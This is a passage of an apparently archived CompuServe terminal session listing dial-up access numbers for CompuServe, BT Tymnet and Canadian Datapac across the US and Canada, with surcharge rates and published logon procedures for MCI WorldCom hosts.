540/851-1700 300-33,600 CPS V34 +Burlington VT 802/860-0550 300-33,600 CPS V34 +Manchester Ctr VT 802/362-2264 300-33,600 CPS V34 +Blaine WA 360/332-2134 300-33,600 CPS V34 +Everett WA 425/303-8377 300-33,600 CPS V34 +Olympia WA 360/352-0335 300-33,600 CPS V34 +Seattle WA 206/515-6000 300-33,600 CPS V34 +Seattle-ISDN WA 206/269-0538 57,600 CPS V120 +Spokane WA 509/326-0318 300-33,600 CPS V34 +Tacoma WA 253/922-1246 300-33,600 CPS V34 +Tacoma WA 253/922-6227 300-57,600 CPS V90 +Vancouver WA 360/604-6016 300-33,600 CPS V34 +Appleton WI 920/830-8352 300-33,600 CPS V34 +Green Bay WI 920/498-8874 300-33,600 CPS V34 +La Crosse WI 608/784-9466 300-33,600 CPS V34 +Madison WI 608/256-6716 300-33,600 CPS V34 +Milwaukee WI 414/453-3010 300-33,600 CPS V34 +Sheboygan WI 920/451-1832 300-33,600 CPS V34 +Wausau WI 715/359-5959 300-33,600 CPS V34 +Charleston WV 304/342-0153 300-33,600 CPS V34 +Huntington WV 304/733-0026 300-33,600 CPS V34 +Morgantown WV 304/291-6783 300-33,600 CPS V34 +Parkersburg WV 304/424-6003 300-33,600 CPS V34 +Wheeling WV 304/233-9508 300-33,600 CPS V34 +Casper WY 307/266-2392 300-33,600 CPS V34 +Cheyenne WY 307/632-0486 300-33,600 CPS V34 +Jackson WY 307/739-2280 300-33,600 CPS V34 +Laramie WY 307/742-2320 300-33,600 CPS V34 + + + +List by: PHN-101 + + 1 State/Province + 2 Area Code + +Enter choice ! + +CompuServe Access (US and Canada) PHN-100 + + 1 Search for Access Numbers + 2 Only 56,000 baud + 3 Only 57,600 ISDN + 4 Only 64,000 - 128,000 ISDN/IP + 5 CompuServe 800 Numbers + 6 Canadian Logon Instructions + 7 List all Numbers + +Enter choice !5 + +Network Assistance PHN-49 + + CompuServe 1-800 Network Surcharge Rates, quoted in U.S. dollars: + + BAUD RATE PROTOCOL COUNTRY SURCHARGE + ----------- ---------- --------- ----------- + 300-33.6 V34 United States $ 9/hour + 56,000 X2 United States $ 9/hour + 57,600 ISDN United States $ 9/hour + 64-128K ISDN/IP United States $ 9/hour + + 300-33.6 V34 Canada $13/hour + 300-33.6 V34 Caribbean $75/hour + + +Press for more ! + +Network Assistance PHN-18 + + Surcharge applies for all hours originated from a CompuServe + 1-800 dial access node located in the Continental United States + or Canada. These surcharges may be modified by CompuServe upon + (1) month prior written notice. Users should contact their + local account team for current applicable surcharges. + + Please Note: X2, ISDN, and ISDN/IP Wats access is not + available from Canada at this time. + +Press for more ! + +Network Assistance PHN-105 + + + +CITY ST PHONE BAUD NET TYPE +---- -- ----- ------------------ --- ---- + +WATS 800 OH 800/331-7166 9600-33,600 CPS V34 +WATS ISDN OH 800/473-6282 57,600 CPS V120 +WATS ISDN/IP OH 800/333-4474 64,000-128,000 CPS ISDN/IP +WATS X2 OH 800/572-1959 300-56,000 CPS X2/V90 +WATS/Canada ON 800/843-0378 300-33,600 CPS V34 +Last page ! + + + + +CompuServe Access (US and Canada) PHN-100 + + 1 Search for Access Numbers + 2 Only 56,000 baud + 3 Only 57,600 ISDN + 4 Only 64,000 - 128,000 ISDN/IP + 5 CompuServe 800 Numbers + 6 Canadian Logon Instructions + 7 List all Numbers + +Enter choice ! + +United States and Canada PHN-40 + + 1 CompuServe Network + 2 Supplemental Networks + +Enter choice !2 + +Network Assistance PHN-210 + +SUPPLEMENTAL NETWORKS (U.S. & CANADA) + + 1 SprintNet + 2 BT Tymnet + 3 Canadian Datapac + 4 AlaskaNet + +Enter choice !1 + +Network Assistance PHN-212 + +SprintNet + + 1 Logon Procedure + 2 List + 3 Search + 4 Only 2400 baud + +Enter choice !1 + +Network Assistance PHN-181 + + + +Scroll output? (Y)es or =No:y + + + + + + MCI WORLDCOM GATEWAY ACCESS VIA SPRINTNET + + +LOGON INSTRUCTIONS: + +1. Once a connection is established by dialing the SprintNet + access number, enter one of the following: + + For full-duplex transmission (300 bps - 1200 bps): + + + . + + For full-duplex transmission (2400 bps - 9600 bps): + + @. + +2. Your screen displays: + + SprintNet + + 202 08C + + Terminal= D1 + + + @ + +3. You enter: + + C 202202 + + NOTE: If you wish to receive the "Host Name" prompt, you must + enter an "E" at the end. + + I.e. C 202202E + + If you do not add the "E" you will receive the "User ID" + + prompt. + +LOGGING OFF + +1. After disconnecting from your host computer, your screen + displays: + + 202202 Disconnected + +2. If you do not automatically receive a "disconnected" message, + you should enter: + + @ + + +3. Your screen displays: + + @ + +4. You enter: + + D + + + + + +Last page ! + + + + +Network Assistance PHN-212 + +SprintNet + + 1 Logon Procedure + 2 List + 3 Search + 4 Only 2400 baud + +Enter choice ! + +Network Assistance PHN-210 + +SUPPLEMENTAL NETWORKS (U.S. & CANADA) + + 1 SprintNet + 2 BT Tymnet + 3 Canadian Datapac + 4 AlaskaNet + +Enter choice !2 + +Network Assistance PHN-211 + +BT Tymnet + + 1 Logon Procedure + 2 List + 3 Search + 4 Only 2400 Baud + +Enter choice !1 + +Network Assistance PHN-215 + + + +Scroll output? (Y)es or =No: + + + + + ***** MCI WORLDCOM NETWORK ACCESS VIA BT TYMNET ***** + + + + 1. Establish connection by dialing your local TYMNET access number. + + YOUR SCREEN SHOWS: + + PLEASE ENTER YOUR TERMINAL IDENTIFIER. + + YOU ENTER: +Press for more ! + + + + A (no carriage return) + + YOUR SCREEN SHOWS: + + PLEASE LOG IN + + YOU ENTER: + + CML05 + + YOUR SCREEN SHOWS: + +Press for more ! + + + Host Name: + + For example, your organizations Host Name is ABC, + + YOU ENTER: + + ABC + +Last page ! + + + + +Network Assistance PHN-211 + +BT Tymnet + + 1 Logon Procedure + 2 List + 3 Search + 4 Only 2400 Baud + +Enter choice !2 + +Network Assistance PHN-216 + +LIST - BT Tymnet + + 1 State + 2 Area Code + +Enter choice !1 + + +Sorting, one moment please... + + +Scroll output? (Y)es or =No:Y + + + Domestic BT Tymnet Access Numbers + +CITY ST PHONE BAUD NET TYPE +---- -- ----- ------------------ --- ---- +Anniston AL 256/236-3342 300-2400 TYM 224MNP +Anniston AL 256/231-5600 9600 TYM V32 +Dothan AL 334/712-6967 9600 TYM V32 +Gadsden AL 256/543-3550 300-2400 TYM 224MNP +Gadsden AL 256/543-4200 9600 TYM V32 +Huntsville AL 256/882-9199 9600 TYM V32 +Northport AL 205/750-8524 9600 TYM V32 +Opelika AL 334/742-9040 300-2400 TYM 224MNP +Opelika AL 334/705-8000 9600 TYM V32 +Fayetteville AR 501/442-0234 300-2400 TYM 224MNP +Fayetteville AR 501/442-3742 9600 TYM V32 +Hot Springs AR 501/623-3576 300-2400 TYM 224MNP +Hot Springs AR 501/623-0129 9600 TYM V32 +Jonesboro AR 870/935-7957 300-2400 TYM 224MNP +Pine Bluff AR 870/535-2629 300-2400 TYM 224MNP +Pine Bluff AR 870/535-2595 9600 TYM V32 +Springdale AR 501/442-0234 1200-2400 TYM 224MNP +Flagstaff AZ 520/774-3857 300-2400 TYM 224MNP +Flagstaff AZ 520/779-9775 9600 TYM V32 +Yuma AZ 520/329-0098 9600 TYM V32 +Alhambra CA 626/308-1800 1200-2400 TYM 224MNP +Alhambra CA 626/289-1035 9600-14,400 TYM V32 +Antioch CA 925/754-8222 300-2400 TYM 224MNP +Antioch CA 925/778-0982 9600 TYM V32 +Belmont CA 650/361-8701 1200-2400 TYM 224MNP +Belmont CA 650/367-0334 9600-14,400 TYM V32 +Beverly Hills CA 818/789-9557 1200-2400 TYM 224MNP +Burbank CA 818/841-4795 300-2400 TYM 224MNP +Burbank CA 818/558-1508 9600 TYM V32 +Burlingame CA 650/588-3043 1200-2400 TYM 224MNP +Canoga Park CA 818/789-9557 1200-2400 TYM 224MNP +Cathedral City CA 760/324-0728 9600-14,400 TYM V32 +Cathedral City CA 760/324-0920 1200-2400 TYM 224MNP +Chico CA 530/343-4401 300-2400 TYM 224MNP +Chico CA 530/342-2007 9600 TYM V32 +Concord CA 925/935-1507 1200-2400 TYM 224 +Corona CA 909/737-5510 300-2400 TYM 224MNP +Davis CA 530/758-3551 1200-2400 TYM 224MNP +Diamond Bar CA 909/860-0057 1200-2400 TYM 224MNP +Diamond Bar CA 909/860-2881 9600-14,400 TYM V32 +El Centro CA 760/352-5823 300-2400 TYM 224MNP +El Centro CA 760/352-8114 9600 TYM V32 +El Segundo CA 310/643-4228 1200-2400 TYM 224MNP +El Segundo CA 310/536-0657 9600 TYM V32 +Eureka CA 707/445-3021 300-2400 TYM 224MNP +Eureka CA 707/445-2458 9600 TYM V32 +Fairfield CA 707/421-0106 300-2400 TYM 224MNP +Fairfield CA 707/434-1040 9600 TYM V32 +Fremont CA 510/490-7366 300-2400 TYM 224MNP +Fremont CA 510/498-4400 9600 TYM V32 +Garden Grove CA 714/379-1728 300-2400 TYM 224MNP +Inglewood CA 323/588-8128 9600-14,400 TYM V32 +Inglewood CA 323/587-7514 1200-2400 TYM 224MNP +Los Alamos CA 805/922-3308 1200-2400 TYM 224MNP +Los Altos CA 408/432-8618 1200-2400 TYM 224MNP +Los Altos CA 408/432-0804 9600 TYM V32 +Los Gatos CA 408/356-1818 300-2400 TYM 224MNP +Marysville CA 530/749-8015 300-2400 TYM 224MNP +Marysville CA 530/749-0171 9600 TYM V32 +Merced CA 209/383-7593 300-2400 TYM 224MNP +Merced CA 209/726-0960 9600 TYM V32 +Moorpark CA 805/531-9840 9600 TYM V32 +Moorpark CA 805/523-0203 300-2400 TYM 224MNP +Newport Beach CA 949/752-1493 9600-14,400 TYM V32 +Newport Beach CA 949/852-8141 1200-2400 TYM 224MNP +Ontario CA 909/860-0057 1200-2400 TYM 224MNP +Pacheco CA 925/935-1507 1200-2400 TYM 224MNP +Palo Alto CA 650/361-8701 1200-2400 TYM 224MNP +Palo Alto CA 650/367-0334 9600-14,400 TYM V32 +Pasadena CA 626/308-1800 1200-2400 TYM 224MNP +Pleasanton CA 925/462-2101 300-2400 TYM 224MNP +Pleasanton CA 925/484-1025 9600 TYM V32 +Port Hueneme CA 805/985-7843 1200-2400 TYM 224MNP +Port Hueneme CA 805/984-5636 9600-14,400 TYM V32 +Poway CA 619/679-0200 300-2400 TYM 224MNP +Poway CA 619/679-2024 9600 TYM V32 +Redding CA 530/245-0308 9600 TYM V32 +Redwood City CA 650/361-8701 1200-2400 TYM 224MNP +Redwood City CA 650/367-0334 9600-14,400 TYM V32 +San Clemente CA 949/240-9424 300-2400 TYM 224MNP +San Clemente CA 949/489-0986 9600 TYM V32 +San Fernando CA 818/789-9557 1200-2400 TYM 224MNP +San Jose CA 408/432-8618 1200-2400 TYM 224MNP +San Jose CA 408/432-0804 9600 TYM V32 +San Luis Obispo CA 805/549-7811 9600 TYM V32 +San Pedro CA 562/436-6033 1200-2400 TYM 224MNP +Santa Ana CA 949/852-8141 1200-2400 TYM 224MNP +Santa Ana CA 949/752-1493 9600-14,400 TYM V32 +Sherman Oaks CA 818/789-9557 1200-2400 TYM 224MNP +Sherman Oaks CA 818/995-0517 9600-14,400 TYM V32 +So. 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224MNP +Corvallis OR 541/758-0056 9600 TYM V32 +Altoona PA 814/941-2852 300-2400 TYM 224MNP +Altoona PA 814/941-8548 9600 TYM V32 +Bethlehem PA 610/865-6978 1200-2400 TYM 224MNP +Bethlehem PA 610/882-3883 9600-14,400 TYM V32 +Coatesville PA 610/383-0440 300-2400 TYM 224MNP +Coatesville PA 610/384-0852 9600 TYM V32 +Erie PA 814/459-0307 9600 TYM V32 +Greensburg PA 724/838-1920 300-2400 TYM 224MNP +Greensburg PA 724/830-0580 9600 TYM V32 +Johnstown PA 814/539-5059 300-2400 TYM 224MNP +Lemoyne PA 717/975-9881 1200-2400 TYM 224MNP +Lemoyne PA 717/975-8168 9600-14,400 TYM V32 +Levittown PA 215/943-3700 300-2400 TYM 224MNP +New Castle PA 724/658-5056 300-2400 TYM 224MNP +New Castle PA 724/657-1802 9600 TYM V32 +Springfield PA 610/328-9002 300-2400 TYM 224MNP +Springfield PA 610/604-9884 9600 TYM V32 +Valley PA 610/666-9190 1200-2400 TYM 224MNP +Williamsport PA 570/321-8520 300-2400 TYM 224MNP +Williamsport PA 570/320-0420 9600 TYM V32 +Middletown RI 401/849-1660 300-2400 TYM 224MNP +Middletown RI 401/846-8088 9600 TYM V32 +Newport RI 401/849-1660 300-2400 TYM 224MNP +Woonsocket RI 401/766-2000 300-2400 TYM 224MNP +Woonsocket RI 401/765-0326 9600 TYM V32 +Aiken SC 803/648-0237 300-2400 TYM 224MNP +Florence SC 843/664-0550 300-2400 TYM 224MNP +Spartanburg SC 864/579-9087 9600 TYM V32 +Pierre SD 605/224-7700 300-2400 TYM 224MNP +Pierre SD 605/224-0931 9600 TYM V32 +Sioux Falls SD 605/334-0085 300-2400 TYM 224MNP +Sioux Falls SD 605/331-6467 9600 TYM V32 +Blountville TN 423/323-1962 300-2400 TYM 224MNP +Clarksville TN 931/645-8877 300-2400 TYM 224MNP +Jackson TN 901/661-0904 300-2400 TYM 224MNP +Jackson TN 901/661-0153 9600 TYM V32 +Johnson City TN 423/975-9184 9600 TYM V32 +Kingsport TN 423/378-5746 300-2400 TYM 224MNP +Oak Ridge TN 423/482-1466 300-2400 TYM 224MNP +Sevierville TN 423/453-0401 300-2400 TYM 224MNP +Amarillo TX 806/359-1124 9600 TYM V32 +Amarillo TX 806/355-7088 300-2400 TYM 224MNP +Baytown TX 281/420-3389 1200-2400 TYM 224MNP +Baytown TX 281/420-3283 9600 TYM V32 +Bryan TX 409/823-1090 300-2400 TYM 224MNP +Bryan TX 409/823-4900 9600 TYM V32 +Harlingen TX 956/423-0051 300-2400 TYM 224MNP +McAllen TX 956/618-0320 300-2400 TYM 224MNP +McKinney TX 972/542-2641 300-2400 TYM 224MNP +Midland TX 915/561-8108 9600 TYM V32 +Odessa TX 915/561-8401 1200-2400 TYM 224MNP +Port Arthur TX 409/721-3400 300-2400 TYM 224MNP +Port Arthur TX 409/729-3517 9600 TYM V32 +San Angelo TX 915/658-4590 300-2400 TYM 224MNP +San Angelo TX 915/653-3300 9600 TYM V32 +Sherman TX 903/868-0089 300-2400 TYM 224MNP +Temple TX 254/773-2545 300-2400 TYM 224MNP +Temple TX 254/778-8801 9600 TYM V32 +Texarkana TX 903/792-4521 300-2400 TYM 224MNP +Victoria TX 512/576-9200 300-2400 TYM 224MNP +Victoria TX 512/572-0158 9600 TYM V32 +Wichita Falls TX 940/723-2386 300-2400 TYM 224MNP +Wichita Falls TX 940/723-6248 9600 TYM V32 +Ogden UT 801/393-5280 300-2400 TYM 224MNP +Ogden UT 801/393-9924 9600 TYM V32 +Hampton VA 804/727-0572 300-2400 TYM 224MNP +Hampton VA 757/723-0277 9600 TYM V32 +Harrisonburg VA 540/433-6333 300-2400 TYM 224MNP +Harrisonburg VA 540/432-7921 9600 TYM V32 +Newport News VA 757/596-0898 300-2400 TYM 224MNP +Newport News VA 757/595-7180 9600 TYM V32 +Petersburg VA 804/861-1788 300-2400 TYM 224MNP +Petersburg VA 804/863-0180 9600 TYM V32 +Barre VT 802/229-4508 300-2400 TYM 224MNP +Montpelier VT 802/229-4508 300-2400 TYM 224MNP +Montpelier VT 802/229-0722 9600 TYM V32 +Auburn WA 253/735-3975 300-2400 TYM 224MNP +Bellingham WA 360/671-7750 300-2400 TYM 224MNP +Bellingham WA 360/647-8544 9600 TYM V32 +Bremerton WA 360/377-2792 300-2400 TYM 224MNP +Bremerton WA 360/377-5640 9600 TYM V32 +Kennewick WA 509/783-1315 300-2400 TYM 224MNP +Kennewick WA 509/783-2201 9600 TYM V32 +Longview WA 360/423-9072 300-2400 TYM 224MNP +Longview WA 360/423-0233 9600 TYM V32 +Port Angeles WA 360/452-6800 300-2400 TYM 224MNP +Port Angeles WA 360/457-1863 9600 TYM V32 +Pullman WA 509/332-3760 300-2400 TYM 224MNP +Pullman WA 509/332-6205 9600 TYM V32 +Vancouver WA 360/574-0427 300-2400 TYM 224MNP +Vancouver WA 360/576-6830 9600 TYM V32 +Yakima WA 509/248-1462 300-2400 TYM 224MNP +Yakima WA 509/452-1824 9600 TYM V32 +Appleton WI 920/733-4195 9600 TYM V32 +Beloit WI 608/362-4655 300-2400 TYM 224MNP +Beloit WI 608/363-0912 9600 TYM V32 +Brookfield WI 414/785-0630 1200-2400 TYM 224MNP +Brookfield WI 414/796-1087 9600-14,400 TYM V32 +Eau Claire WI 715/833-0121 300-2400 TYM 224MNP +Eau Claire WI 715/833-7608 9600 TYM V32 +Green Bay WI 920/432-0293 9600 TYM V32 +Kenosha WI 414/553-9044 300-2400 TYM 224MNP +Kenosha WI 414/553-9603 9600 TYM V32 +Oshkosh WI 920/235-7473 300-2400 TYM 224MNP +Wausau WI 715/848-6171 300-2400 TYM 224MNP +West Bend WI 414/334-1755 300-2400 TYM 224MNP +Bluefield WV 304/325-0517 300-2400 TYM 224MNP +Clarksburg WV 304/624-1451 300-2400 TYM 224MNP +Huntington WV 304/529-0339 9600 TYM V32 +Westover WV 304/292-3092 300-2400 TYM 224MNP +Casper WY 307/235-1260 9600 TYM V32 + + + +Network Assistance PHN-216 + +LIST - BT Tymnet + + 1 State + 2 Area Code + +Enter choice ! + +Network Assistance PHN-211 + +BT Tymnet + + 1 Logon Procedure + 2 List + 3 Search + 4 Only 2400 Baud + +Enter choice ! + +Network Assistance PHN-210 + +SUPPLEMENTAL NETWORKS (U.S. & CANADA) + + 1 SprintNet + 2 BT Tymnet + 3 Canadian Datapac + 4 AlaskaNet + +Enter choice !3 + +Network Assistance PHN-14 + +Canadian Datapac + + 1 Logon Procedure + 2 List + 3 Search + 4 Only 2400 baud + +Last page, enter choice !1 + +Network Assistance PHN-13 + + + +Scroll output? (Y)es or =No:Y + + + + + + ***** MCI WORLDCOM NETWORK ACCESS VIA CANADIAN DATAPAC ***** + + +1. Establish a connection by dialing the local Datapac access number. + + For access at 300 bps, enter the following: + + . + + For access at 1200 bps, enter the following: + + + .. + + For access from 2400 - 9600 bps, enter the following: + + ... + +2. Your screen then displays the following: + + + +3. Please enter the address below: + + + 29400138 + +4. Your screen displays MCI Worldcom's network prompt. At this point, enter the + Host Name assigned by your organization, followed by a , and follow the + remainder of their log on instructions. If the service you wish to reach + is on a MCI Worldcom host, the Host Name you should enter is CIS followed by + a after which you will see the User ID prompt. Enter your User ID and + log on as usual. Refer below: + + DATAPAC: call connected + + Host Name: + + +5. Datapac Customer Service Number: + + In Canada: 1-800 267-6574 + Outside Canada: (613) 781-6798 + + + + + +Last page ! + + + + +Network Assistance PHN-14 + +Canadian Datapac + + 1 Logon Procedure + 2 List + 3 Search + 4 Only 2400 baud + +Last page, enter choice !2 + +Network Assistance PHN-15 + +LIST - Canadian Datapac + + 1 Province + 2 Area Code + +Enter choice !1 + +Network Assistance PHN-16 + + +Sorting, one moment please... + + +Scroll output? (Y)es or =No:Y + + + Domestic Datapac Access Numbers + +CITY ST PHONE BAUD NET TYPE +---- -- ----- ------------------ --- ---- +Airdrie AB 403/234-7740 300-1200 DPC 212 +Banff AB 403/762-9475 300-9600 DPC MTRLA +Barrhead AB 780/674-2575 300-9600 DPC MTRLA +Bonnyville AB 780/826-4726 300-9600 DPC MTRLA +Brooks AB 403/362-0452 300-9600 DPC MTRLA +Camrose AB 780/672-0003 300-9600 DPC MTRLA +Drayton Valley AB 780/542-6022 300-9600 DPC MTRLA +Drumheller AB 403/823-5055 300-9600 DPC MTRLA +Fort McMurray AB 780/743-4226 300-9600 DPC MTRLA +Grand Prairie AB 780/532-4527 300-9600 DPC MTRLA +Grande Centre AB 780/594-0108 300-9600 DPC MTRLA +High Level AB 780/926-2341 300-9600 DPC MTRLA +Hinton AB 780/865-1477 300-9600 DPC MTRLA +Leduc AB 780/421-0250 300-1200 DPC 212 +Lethbridge AB 403/320-6294 300-9600 DPC MTRLA +Lloydminister AB 780/875-0121 300-9600 DPC MTRLA +Medicine Hat AB 403/526-8721 300-9600 DPC MTRLA +Peace River AB 780/624-2552 300-9600 DPC MTRLA +Red Deer AB 403/346-6660 300-9600 DPC MTRLA +Sherwood Park AB 780/421-0268 300-1200 DPC 212 +St. Albert AB 780/421-0280 300-1200 DPC 212 +St. Paul AB 780/645-1831 300-9600 DPC MTRLA +Stony Plain AB 780/421-0236 300-1200 DPC 212 +Taber AB 403/223-8299 300-9600 DPC MTRLA +Vegreville AB 780/632-4002 300-9600 DPC MTRLA +Wainwright AB 780/842-6700 300-9600 DPC MTRLA +Abbottsford BC 604/850-8413 300-9600 DPC MTRLA +Campbell River BC 250/287-9583 300-9600 DPC MTRLA +Chilliwack BC 604/795-4589 300-9600 DPC MTRLA +Courtenay BC 250/334-9702 300-9600 DPC MTRLA +Cranbrook BC 250/489-5371 300-9600 DPC MTRLA +Dawson Creek BC 250/782-8964 300-9600 DPC MTRLA +Duncan BC 250/748-9993 300-9600 DPC MTRLA +Fort Nelson BC 250/774-4096 300-9600 DPC MTRLA +Fort St. John BC 250/785-9483 300-9600 DPC MTRLA +Kamloops BC 250/374-7852 300-9600 DPC MTRLA +Kelowna BC 250/868-9658 300-9600 DPC MTRLA +Nanaimo BC 250/753-5729 300-9600 DPC MTRLA +Nelson BC 250/354-1246 300-9600 DPC MTRLA +Parksville BC 250/954-3891 300-9600 DPC MTRLA +Penticton BC 250/493-7596 300-9600 DPC MTRLA +Port Alberni BC 250/724-7329 300-9600 DPC MTRLA +Port Hardy BC 250/949-8976 300-9600 DPC MTRLA +Powell River BC 604/485-9457 300-9600 DPC MTRLA +Prince George BC 250/564-9246 300-9600 DPC MTRLA +Prince Rupert BC 250/627-4346 9600 DPC MTRLA +Quesnel BC 250/992-9084 300-9600 DPC MTRLA +Salmon Arms BC 250/832-7825 300-9600 DPC MTRLA +Smithers BC 250/847-8859 300-9600 DPC MTRLA +Squamish BC 604/892-5173 300-9600 DPC MTRLA +Terrace BC 250/638-8908 300-9600 DPC MTRLA +Trail BC 250/364-0928 300-9600 DPC MTRLA +Vernon BC 250/549-5187 300-9600 DPC MTRLA +Whistler BC 604/932-4293 300-9600 DPC MTRLA +Williams Lake BC 250/392-3090 300-9600 DPC MTRLA +Brandon MB 204/725-0593 300-9600 DPC MTRLA +Dauphin MB 204/638-3025 300-9600 DPC MTRLA +Flin Flon MB 204/687-7986 300-9600 DPC MTRLA +Morden MB 204/822-6824 300-9600 DPC MTRLA +Portage La Prai MB 204/239-0355 300-9600 DPC MTRLA +Selkirk MB 204/482-7050 300-9600 DPC MTRLA +Steinbach MB 204/326-2972 300-9600 DPC MTRLA +The Pas MB 204/623-4543 300-9600 DPC MTRLA +Thompson MB 204/677-2376 300-9600 DPC MTRLA +Bathurst NB 506/547-0114 300-9600 DPC MTRLA +Campbellton NB 506/753-3297 300-9600 DPC MTRLA +Caraquet NB 506/727-6630 300-9600 DPC MTRLA +Dalhousie NB 506/684-1819 300-9600 DPC MTRLA +Edmunston NB 506/739-0889 300-9600 DPC MTRLA +Florenceville NB 506/392-5995 300-9600 DPC MTRLA +Fredericton NB 506/457-0491 300-9600 DPC MTRLA +Grand Falls NB 506/473-4337 300-9600 DPC MTRLA +Hartland NB 506/375-4639 300-9600 DPC MTRLA +Miramichi NB 506/622-0120 300-9600 DPC MTRLA +Moncton NB 506/852-3041 300-9600 DPC MTRLA +New Castle NB 506/622-0120 300-9600 DPC MTRLA +Richibucto NB 506/523-6408 300-9600 DPC MTRLA +Sackville NB 506/536-1879 300-9600 DPC MTRLA +Saint John NB 506/633-0105 300-9600 DPC MTRLA +Shediac NB 506/533-3180 300-9600 DPC MTRLA +Shippagan NB 506/336-1085 300-9600 DPC MTRLA +St. Andrew NB 506/529-3920 300-9600 DPC MTRLA +St. Quentin NB 506/235-2079 300-9600 DPC MTRLA +St. Stephen NB 506/465-0996 300-9600 DPC MTRLA +Sussex NB 506/433-1625 300-9600 DPC MTRLA +Tracadie NB 506/395-9748 300-9600 DPC MTRLA +Woodstock NB 506/325-2937 300-9600 DPC MTRLA +Arnolds Cove NF 709/463-2483 300-9600 DPC MTRLA +Bay Roberts NF 709/786-0946 300-9600 DPC MTRLA +Carbonear NF 709/596-0576 300-9600 DPC MTRLA +Clarenville NF 709/466-1457 300-9600 DPC MTRLA +Cornerbrook NF 709/634-0384 300-9600 DPC MTRLA +Deer Lake NF 709/635-4407 300-9600 DPC MTRLA +Gander NF 709/256-8216 300-9600 DPC MTRLA +Grand Falls NF 709/489-4656 300-9600 DPC MTRLA +Happy Valley NF 709/896-3381 300-9600 DPC MTRLA +Labrador NF 709/944-2602 300-9600 DPC MTRLA +Lewisporte NF 709/535-0475 300-9600 DPC MTRLA +Marystown-Burin NF 709/279-1310 300-9600 DPC MTRLA +Port Aux Basque NF 709/695-9771 300-9600 DPC MTRLA +Springdale NF 709/673-2782 300-9600 DPC MTRLA +St. Anthony NF 709/454-2634 300-9600 DPC MTRLA +St. John's NF 709/739-0357 300-9600 DPC MTRLA +Stephenville NF 709/643-2035 300-9600 DPC MTRLA +Amherst NS 902/667-4524 300-9600 DPC MTRLA +Antigonish NS 902/863-1977 300-9600 DPC MTRLA +Bridgewater NS 902/543-5699 300-9600 DPC MTRLA +Kentville NS 902/679-1943 300-9600 DPC MTRLA +Kingston NS 902/765-3003 300-9600 DPC MTRLA +New Glasgow NS 902/755-9170 300-9600 DPC MTRLA +Port Hawksbury NS 902/625-5430 300-9600 DPC MTRLA +Sydney NS 902/567-1460 300-9600 DPC MTRLA +Truro NS 902/895-9348 300-9600 DPC MTRLA +Wallace NS 902/257-2108 300-9600 DPC MTRLA +Windsor NS 902/798-0614 300-9600 DPC MTRLA +Yarmouth NS 902/742-3003 300-9600 DPC MTRLA +Cambridge Bay NT 867/983-8870 300-2400 DPC 224 +Fort Simpson NT 867/695-8870 300-2400 DPC 224 +Fort Smith NT 867/872-8870 300-2400 DPC 224 +Hay River NT 867/874-8870 300-2400 DPC 224 +Inuvik NT 867/777-8870 300-2400 DPC 224 +Iqaluit NT 867/979-3282 300-9600 DPC MTRLA +Norman Wells NT 867/587-8870 300-2400 DPC 224 +Yellowknife NT 867/920-9600 300-9600 DPC MTRLA +Ajax-Pickering ON 905/428-3207 300-9600 DPC MTRLA +Alliston ON 705/435-5104 300-9600 DPC MTRLA +Arnprior ON 613/623-5748 300-9600 DPC MTRLA +Aurora ON 905/727-7172 300-9600 DPC MTRLA +Barrie ON 705/737-9311 300-9600 DPC MTRLA +Belleville ON 613/969-8888 300-9600 DPC MTRLA +Bolton ON 905/453-4844 300-9600 DPC MTRLA +Bracebridge ON 705/645-6789 300-9600 DPC MTRLA +Brampton ON 905/453-4844 300-9600 DPC MTRLA +Brantford ON 519/758-5161 300-9600 DPC MTRLA +Brockville ON 613/498-1441 300-9600 DPC MTRLA +Campbellville ON 905/854-1952 300-9600 DPC MTRLA +Chalk River ON 613/584-1557 300-9600 DPC MTRLA +Chatham ON 519/351-8948 300-9600 DPC MTRLA +Clinton ON 519/482-5496 300-9600 DPC MTRLA +Cobourg ON 905/372-8378 300-9600 DPC MTRLA +Collingwood ON 705/444-5656 300-9600 DPC MTRLA +Cornwall ON 613/936-2215 300-9600 DPC MTRLA +Deep River ON 613/584-1557 9600 DPC MTRLA +Dryden ON 807/223-7172 300-2400 DPC 224 +Exeter ON 519/235-4709 300-9600 DPC MTRLA +Fort Erie ON 905/871-4748 300-9600 DPC MTRLA +Goderich ON 519/524-1149 300-9600 DPC MTRLA +Guelph ON 519/763-3690 300-9600 DPC MTRLA +Hanover ON 519/364-3240 300-9600 DPC MTRLA +Hawkesbury ON 613/632-1207 300-9600 DPC MTRLA +Huntsville ON 705/789-4383 300-9600 DPC MTRLA +Kenora ON 807/467-3480 300-9600 DPC MTRLA +Kingston ON 613/547-0051 300-9600 DPC MTRLA +Lindsay ON 705/324-3544 300-9600 DPC MTRLA +Listowel ON 519/291-3300 300-9600 DPC MTRLA +London ON 519/432-3201 300-9600 DPC MTRLA +Maidstone ON 519/973-3909 300-9600 DPC MTRLA +Midland ON 705/527-5745 300-9600 DPC MTRLA +Milton ON 905/875-3327 300-9600 DPC MTRLA +Newmarket ON 905/836-1706 300-9600 DPC MTRLA +Niagara Falls ON 905/357-4872 300-9600 DPC MTRLA +North Bay ON 705/497-9877 300-9600 DPC MTRLA +Orangeville ON 519/942-4526 300-9600 DPC MTRLA +Orillia ON 705/329-2862 300-9600 DPC MTRLA +Oshawa ON 905/404-2095 300-9600 DPC MTRLA +Ottawa ON 613/567-4537 300-9600 DPC MTRLA +Ottawa ON 613/789-1483 300-9600 DPC MTRLA +Owen Sound ON 519/371-8317 300-9600 DPC MTRLA +Parry Sound ON 705/746-9057 300-9600 DPC MTRLA +Pembroke ON 613/735-7026 300-9600 DPC MTRLA +Perth ON 613/267-7019 300-9600 DPC MTRLA +Peterborough ON 705/876-0884 300-9600 DPC MTRLA +Renfrew ON 613/432-9098 300-9600 DPC MTRLA +Sarnia ON 519/339-9134 300-9600 DPC MTRLA +Sault Ste Marie ON 705/946-0213 300-9600 DPC MTRLA +Shawville ON 819/647-6301 300-9600 DPC MTRLA +Simcoe ON 519/428-8018 300-9600 DPC MTRLA +Smiths Falls ON 613/284-1702 300-9600 DPC MTRLA +St. Catharines ON 905/688-4824 300-9600 DPC MTRLA +St. Thomas ON 519/633-5593 300-9600 DPC MTRLA +Stratford ON 519/272-2001 300-9600 DPC MTRLA +Sudbury ON 705/671-1127 300-9600 DPC MTRLA +Thunder Bay ON 807/623-5762 300-9600 DPC MTRLA +Tillsonburg ON 519/688-3117 300-9600 DPC MTRLA +Timmins ON 705/268-9540 300-9600 DPC MTRLA +Uxbridge ON 905/852-4502 300-9600 DPC MTRLA +Walkerton ON 519/881-3070 300-9600 DPC MTRLA +Welland ON 